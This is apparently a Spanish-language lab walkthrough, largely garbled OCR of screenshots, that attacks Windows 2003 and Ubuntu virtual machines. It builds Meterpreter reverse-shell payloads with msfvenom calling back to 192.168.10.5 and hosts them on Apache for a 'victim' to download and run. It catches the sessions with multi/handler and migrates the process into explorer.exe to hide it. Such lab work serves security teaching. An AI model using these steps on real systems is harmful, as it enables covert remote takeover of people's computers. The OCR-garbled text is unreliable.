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ABRIR WINDOWS 2003.

Iniciar la maquina virtual de Windows 2003.

Tlustracion 1 Windows 2003.

&flniciol J ﬁ @ J J W

ABRIR LINUX

Iniciar la maquina virtual de Linux.

Ilustracion 2 Linux.

@@ | =E A @ @R DerecHA



VULNERAR WINDOWS 2003.

Para vulnerar un sistema Windows 2003 se deben seguir los siguientes pasos:

1. Utilizar el comando nmap.

Para ver las IP que hay en el segmento de red se utiliza el comando nmap -sV
192.168.10.0/24

llustracion 3 Puertos disponibles.

orulaparr@orulaparr: ~

Archivo Acciones Editar Vista Ayuda

Not shown

Nmap
Host is up
Not shown

RP
netbios-ssn

10.5 (192.168.10.5)

2. Abrir la consola.

Abrir la consola con el comando msfconsole
Mlustracion 4 Ingresar a la consola

-] root@orulaparr: /homeforulaparr
Archivo Acciones Editar Vista Ayuda
root@orulaparr: fhomeforulaparr B root@orulaparr: fhome/orulaparr B

/home/orulaparr

be used for IP options set LHOST




CREAR PROGRAMA MALISIOSO PARA WINDOWS 2003.

Para crear el programa malicioso en la carpeta “clase” se debe usar este comando
msfvenom -p windows/meterpreter/reverse_tcp LHOST:192.168.10.5
LPORT=4678 -f exe > /home/orulaparr/Escritorio/clase/satena.exe

llustracion 5 msfvenom.

orulaparr@orulaparr: ~[Escritorio/clase

Archivo Acciones Editar Vista Ayuda

orulaparr@orulaparr: ~ ¥

[-1 No platform

2 bytes

llustracion 6 Archivo creado.

clase - Thunar
Archivo Editar Ver Ir Marcadores Ayuda
4 A <« #Aorulaparr M Escritorio  clase
Lugares
B Equipo
| orulaparr
~ Escritorio

Recientes
' RENEE
=| Documentos
Musica
Imagenes
Videos

Descargas

Dispositivos
_ﬂ Sistema de arch...
Red

[ Navegar por la red

1archivo: 72,1KiB (73.802 bytes) | Espacio libre: 6,8 GiB



INICIAR APACHE.

A continuacion, se debe iniciar el servicio de apache. Para iniciarlo se debe poner
el comando service apache2 start. Para verificar que esté funcionando se debe
utilizar el comando service apache 2 status.

[lustracion 7 Iniciar apache.

orulaparr@orulaparr: ~/Escritorio/clase
Archivo Acciones Editar Vista Ayuda
orulaparr@orulaparr: ~ @  orulaparr@orulaparr: ~[Escritorio/clase ¥

[~/Escritorio/clase

parr:

~/Escritorio/clase

(/usr/lib/syst fsyst a " disabled; preset: disab>
(running) sinc e : 29-0 2 D : ago

Cess:

Main PID:
LEH]
Memory

Mlustracion 8 Pagina local.

“ Apache? Debian Default Page: I 5] x|

|/
| &

Archivo  Edicion  Yer  Eawvoritos  Herramientas — Ayuda
Qs ~ ) - [ [2] N | ' Blsqueda - 7 Favoritos &2 | =
Direccién [{&] http:/192.168.10.5) = B |V|’nculos ®

-

Apache2 Debian Default Page

debian

This is the default welcome page used to test the correct operation of the Apach
installation on Debian systems, If you can rIead thiz page, it means that the Apac
at this site is working properly, You should replace this file (located at /var /v
before continuing to operate your HTTP server,

If you are a normal user of this web site and don't khow what this page is about
that the site is currently unavailable due to maintenance. If the problem persists,
site's administrator.

- [ . - . - P . -~ . . - - . P . l
4 | 3

&] Listo l_ l_ l_ l_ l_ | & sitios de confianza
@& Iniciol J g @ J @ Apachez Debian Default ... | J (‘.;‘ 212




CAMBIAR EL NOMBRE DEL ARCHIVO INDEX.

Cambiar el nombre del archivo index para que no aparezca como predeterminado.
Hustracion 9 Cambiar nombre al archivo index.

html - Thunar
Archivo Editar Ver Ir Marcadores Ayuda
+ + A B var www html

Lugares

orulaparr
- : index.nginx- index2.html

Escritorio debian.html
lecientes

' EDEEE

= Documentos

Imagenes
Videos

Dispositivos

_ﬂ Sistemna de arch...
Red

D Navegar por la red

ivos: 11,1KiB (11.318 bytes) | Espacio libre: 6

Ilustracion 10 Pagina local sin archivo index predeterminado.

/3 Index of / - Microsoft Internet Explorer == =]

Archivo  Edicion  YWer Favoritos  Herramientas — Ayuda | ;','

ontrés )T Iﬂ &'] :‘ | - Blsqueda - ¢ Favoritos £ | LY Ef

Direccién [&] http:j/192. 168.10.5) Ral= ki |v|'ncu|os =
=l

Index of /

Name Last modified Size Description

index. nans-debian bt 2025-07-31 01:35 615
index2 bl 2025-07-31 0144 10K

Apaches2.4.63 (Debian) Server ai 192,168 10.5 Fart 850

E
&l l_ ’_ ’_ ’_ ’_ |@ sitios de confianza
& Inil:il:ll J 1] J I@ Index of / - Microsoft ... J ’@T




Ahora se debe copiar el programa malicioso a la carpeta del apache.
llustracion 11 Archivo malicioso copiado y pegado en la carpeta de la pagina.
html - Thunar
Archivo Editar Ver Ir Marcadores Ayuda
L o 4+ A B var www html
Lugares

orulaparr
o index.nginx- index2.html

Escritorio debian.html
Recientes

' Papelera

Documentos
Musica
Imagenes
Videos
Descargas
Dispositivos
_ﬂ Sistema de arch...
Red

D Navegar por la red
3 archivos: 83,1KiB (85.120 bytes) | Espacio libre

llustracion 12 Pagina local actualizada.

2} Index of / - Microsoft Internet Explorer R

Archivo  Eqicion | Wer Faworibos  Herramientas — Awvuda | 'l‘l
i =

O.ﬁ.trés T |1'] @ o | - Blsgueda - ¢ Favoritos £ | ~ P =)

Direccidn [&] http:{/192.168.10.5 B |V|’nculos =

=]
Index of /

Name Last modified Size Description

index nginz-debian htral 2025-07-31 01:35 615
index2. htrnl 2025-07-31 01:44 10K
satena exe 2025-05-02 1503 72K

Apacheal2.8.03 (Debian) Server af 1902.168.10.5 FPort 80

H

[&] Listo l_ ’_ ’_ ’_ l_ @ sitios de confianiza
I 2 I"iCiﬂl J ] @ JI@Index of / - Microsoft ... J E (D 2117

10



DESCARGAR EL ARCHIVO.

Descargar el archivo.

Ilustracion 13 Descargar archivo.

a Index of / - Microsoft Internet Explorer .=

frchivo  Ediifn Wer  Fawnritns  Herramientas  fanida |

— ?
YT cuardarcomo VeI 2]
Diveccisn l@ Guardar en: l[_@ Escritorio j Q [? = (FE

EMis documentos
Inde:

W mipC
‘aMis sitins de red
&) Asistente para configuracion de seguridad

Apachell.

Hombre: zatena. exe j Guardar I
Tipe: IApIicacién j Cancelar |
E ' ' F ' ' imiércoles, 03 de septiembre de 2028
ﬁlniciol J 6 @ J @ Index of | - Microsoft Int... “é Descarga de archivos % J |® 2:118

Ilustracion 14 Archivo descargado.

E)‘Iniciol J 5 @ J @Index of f - Microsoft Ink... J @ 2:18

11



CONFIGURAR EXPLOIT.

Ahora se debe configurar el Exploit que se va a utilizar, en este caso
multi/handler

lustracion 15 Search Exploit multi/handler.

root@orulaparr: fvarfwww/html

Archivo Acciones Editar Vista Ayuda

h multi/handler

Matching Modules

Name Disclosure Date
heck Description

ploit/linux/
No APT Pa

http/a
Apache mod_cgi Bash Env

lation
er and Pr lege Escalation

Se configura el payload.

llustracion 16 Search samba puerto 445.

Archi Acciones Editar  Vista Ayuda

erulaparr@orulaparr: - 8 orulaparr@orulaparr: ~[Escritorio/clase

12



Entonces cuando la victima abra el programa que descargd, este automaticamente
nos dard ingreso a su computadora. Para verificar que el archivo esta ejecutandose se
puede ver en el administrador de tareas

Ilustracion 17 Administrador de tareas.

IT=T
Archiva  Opciones  Yer  Awuda
Aplicaciones  Procesos IRendimientD I Funcione=s de red I Usuarios I

MNombre de imagen I Mombre de usuaria | L | =o de m... | ;I
spoolsw . exe SYSTEM ao 3.976 KB
vauaucle, exe Adrninistr ador a0 +.696 KB
ckFrmon.exe Adrinistrador u]u]} LS04 KB
sakbena.exe Adrninistr ador 5.554 KB
explorer.exe Adrminisktrador oo 13.7585 KB
swchosk, exe SYSTEM ao 15.920 KB
swchosk. exe SERNICIO LiCnZal ao =.964 KB
wWMiprwse ., exe SYSTEM ao 4.725 KB
swchosk, exe Servicio de red a0 3.832Z KB
swchost, exe Servicio de red u]u]} Z.5392 KB
swchosk, exe SYSTEM ao 2,376 KB
Isass. exe SYSTEM ao 6. 265 KB
services. exe SYWSTEM ao Z.105 KB
winlogon.exe SYSTEM ao 2.356 KB
CErSs, 8xe SYSTEM ao S.660 KB
Laskmar.exe Adrministradaor oo 3.404 KB
SMSs, 2xe SYSTEM ao G5 KB
Swskem SYSTEM oo 212 KB |-
Proceso inackivo d... SYSTEM 29 16 KE i

I+ Mostrar procesos de kodos los usuarios Terminar proceso I

|F'rc|cescus: 23 Uzo de CPL: 4% Zarga de transacciones: S9M o

A continuacién, se debe ocultar nuestro archivo y para esto hay que mirar los
procesos activos en el dispositivo vulnerado utilizando el comando ps. Luego desde
nuestro dispositivo Linux se procede a migrar el proceso de nuestro archivo malicioso
a otro que no sea tan evidente, en este caso se migrard hacia “explorer.exe”.

Hlustracion 18 Observar los procesos ejecutandose desde Linux.

orulaparri@oculaparr: -
Archivoe Acciones Editar Wista Ayuwda
orulapam@orulaparr: ~ B orulapamB@orulaparr: ~/Escritoriofclase

13



llustracion 19 Proceso migrado.

orulaparr@orulaparr: ~

Archivo Acciones Editar Vista Ayuda

orulaparr@orulaparr: ~ ¥ orulaparr@orulaparr: ~/Escritorio/clase B
716 5 svchost. e NT AUTHORI

svchost.e

wmiprvse € NT AUTHORI

svchost.e

svchost. € NT AUTHORI
WINDO

ado
INDO

ctfmon
wuauclt.

trador
spoolsv.e > @ NT AUTHORI
msdtc
svchost.e 3 @ NT AUTHORITY
svchost.

AUTHORITY

Ahora se puede observar que nuestro programa malicioso desaparecio de la lista
de procesos.

llustracion 20 Verificacion de que si migro.

El administrador de tareas de Windows — 3] =l
Archivo  Opciones  YWer  Awuda
aplicaciones Procesos IRendwmentDI Fundonesderedl Usuaﬁosl

Mombre de imagen I Mombre de usuario I P I Uso de m... I AI
msdkc, exe Servicio de red ulu] 3.616 KB
spoolsy, exe SYSTEM (]u] 3.965 KB
wuauclk, exe Adriniskrador [uln] 4.692 KB
cEFrnon, exe Adrniniskrador 04 KB
swchost, exe SYSTEM u]u} 16.000 KB
swvchosk, exe SERWICIOC LOnZAL ao 2.964 KB
WP SE, exXe SYSTEM oo 4.745 KB
swchost, exe Servicio de red uln] 3.812 KB
swchost, exe Servicio de red uln] 2.892 KB
swchost, exe SYSTEM ao 2.356 KB
lsass. exe SYSTEM ao 5.192 KB
sErvices . exe SYSTEM ao 3.076 KB
winlogon. exe SYSTEM ao 2.312Z KB
CErSs , Bne SYSTEM ao 3.552 KB
taskmgr.exe Adminiskrador uln] 5.405 KB
SMSS . 2xXe SY3STEM ao 425 KB
Swskem SYSTEM oo 212 KB |-
Proceso inactivo d.., SYSTEM a9 16 KB =

v Mostrar procesos de todos los usuarios Terminar proceso I

|F"r|:|cesos: =2 |l_lso de CPL: 4% |Carga de transacciones: S5 o

14



CREAR PROGRAMA MALISIOSO PARA UBUNTU.

Para crear el programa malicioso en la carpeta “clase” se debe usar este comando
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.5
LPORT=4678 -f elf > /home/orulaparr/Escritorio/clase/satena.elf

llustracion 21Crear archivo malicioso para Ubuntu.

orulaparr@orulaparr: ~

Archivo Acciones Editar Vista Ayuda

tcp LHOST=192.168.10.5 LPORT=4678 -f el

orm:: Linux from the payload

Este seria el archivo creado.
llustracion 22 Archivo malicioso para Ubuntu creado.
clase - Thunar
Archivo Editar Ver Ir Marcadores Ayuda

4 A <« #orulaparr M Escritorio  clase

Lugares * ‘

R satena.elf satena.exe
~ Escritorio

Documentos

Musica

Imagenes
Videos

2 Des

Dispositivos

B sistemadearch...
Red

D Navegar por la red

If» | 207 bytes | ejecutable

15



Ahora se debe copiar y pegar en la carpeta de apache.
[lustracion 23 Copiar y pegar archivo en la carpeta de apache.

html - Thunar
Archivo Editar Ver Ir Marcadores Ayuda
1A o] www  html

Lugares
L& Equipo .
I orulaparr

index.nginx- index2.html satena.elf

- Escritorio debian.html
(¥) Recientes

' EDEEE

Documentos
Musica
Imagenes
Videos
Descarge
Dispositivos
_ﬂ Sisterna de arch...
Red

D Navegar por la red

«satena.elf» | 207 bytes | ejecutable

Cuando la victima ingrese a la pagina web, le aparecera el archivo “satena.elf”

[lustracion 24 Ingresar a la pagina web para descargar el archivo.

v x
R g 2 ® 48 =
Reiniciar Firefox. .. x
|
Index of /
Name Last modified Size Description
(8] index.nginx debianhim] 2025-07-31 01:35 615

2025-07-31 01:44 10K
2025-09-02 20:33 207
2025-09.02 19:03 72K

Apache/2.4.63 (Debian) Server ar 192.168.10.5 Port 80

2GSV dFH ~o el GOl g

16



Una vez descargado, se debe ingresar a la terminal para darle los permisos y ejecutarlo
ya que graficamente no se ejecutan los archivos de este tipo.

llustracion 25 Archivo descargado.

17



CONFIGURAR EXPLOIT.
Seleccionar el Exploit.
Ilustracion 26 Search multi/handler.

C orulaparr@orulaparr: ~

Archivo Acciones Editar Vista Ayuda

orulaparr@orulaparr: ~ E orulaparr@orulaparr: ~ H

h mult ndler

odules

Disclosure Date

manual

normal

exploit/MulEi/Randles
Generic Pay

upload_t
pRequest Direc

Configurar el payload.
llustracion 27 Configurar el payload.

-] orulaparr@orulaparr: ~
Archivo Acciones Editar Vista Ayuda
orulaparr@orulaparr: ~ B orulaparr@orulaparr: ~ B

windows/mssql/mssql
D

P

tting Required

s (an inter

the full module info v € f r inf command.

exploit(

18



Una vez la victima le de los permisos y ejecute el archivo, este dara el acceso y listo.

llustracion 28 Dar permiso para abrir el archivo y ejecutarlo.

I Terminal

orulaparr@orulaparr-VirtualBc ~% cd Escritorio
orulaparr@orulaparr-VirtualBox:~/Escritorio$ chmod +x satena.elf
orulaparr@orulaparr-VirtualBox:~/Escritorio$ ./satena.elf

llustracion 29 Esperar a que la victima abra el archivo.

a orulaparr@orulaparr: ~

Archivo Acciones Editar Vista Ayuda

orulaparr@orulaparr: ~ ¥ orulaparr@orulaparr: ~ 8
xploit( ) > options

Payload options (linu

may be spec

LPORT

Exploit t:

Id N

Wildcard Ta

command .

(1017704 b
ssion 1 ope

19



Con el comando ps se miran los procesos del pc de la victima.
llustracion 30 Estos serian los procesos.

—

orulaparr@orulaparr: ~

Archivo Acciones Editar Vista Ayuda

orulaparr@orulaparr: ~ ¥ orulaparr@orulapa

Llustracion 31 Archivo malicioso en ejecucion.

] orulaparr@orulaparr: ~

Archivo Acciones Editar Vista Ayuda
orulaparr@orulaparr: ~ E orulaparr@orulaparr: ~ H

gvfsd-me a ) orulap

1211 xdg-desktop-p > orulaparr
tk

orulaparr

- X
2181 2157 satena.elf x86 orulaparr ome/orulaparr/Escrit

orula
rula

orula

Handl 7185
-jsInitHandl

20
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